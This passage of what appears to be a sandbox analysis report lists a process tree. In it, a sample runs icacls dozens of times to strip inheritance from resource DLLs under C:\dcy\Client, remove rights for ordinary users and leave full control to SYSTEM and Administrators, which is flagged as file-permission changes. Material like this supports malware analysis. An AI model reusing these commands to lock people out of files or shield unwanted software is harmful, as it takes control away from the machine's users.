        icacls "C:\dcy\Client\ja\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4100
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5200
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:6076
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1316
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5948
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5320
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1096
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5724
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1164
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4504
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:976
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3900
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5540
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5472
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja-JP\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5632
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ja-JP\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2960
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ka-GE\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1212
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ka-GE\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4884
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\kk-KZ\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4712
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\kk-KZ\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5628
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\km-KH\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4768
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\km-KH\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:684
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\kn-IN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1860
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\kn-IN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2748
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4104
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1588
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4416
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5072
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5924
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4164
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4816
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5068
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:208
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5336
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5544
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4260
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4328
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1632
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2392
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4152
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4208
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko-KR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5848
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ko-KR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2896
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\lo-LA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2344
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\lo-LA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5800
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\lt-LT\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5920
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\lt-LT\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1412
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\lv-LV\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1988
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\lv-LV\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3808
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\mk-MK\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5816
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\mk-MK\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3324
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ml-IN\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1452
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ml-IN\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2548
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ms-MY\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1704
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ms-MY\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5144
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\nb-NO\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6120
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\nb-NO\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3756
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\nl-NL\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4996
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\nl-NL\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4316
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\nn-NO\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3864
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\nn-NO\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1708
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4872
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1884
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4664
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4812
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4604
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2360
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:836
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3404
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5900
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4876
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2572
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5160
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5116
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:840
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5292
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4364
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:656
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl-PL\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5976
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pl-PL\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1088
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3344
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4804
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4660
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5452
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3772
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5032
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2032
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5992
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5648
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2324
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\pt-BR\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4428
      - C:\Windows\system32\icacls.exe
        
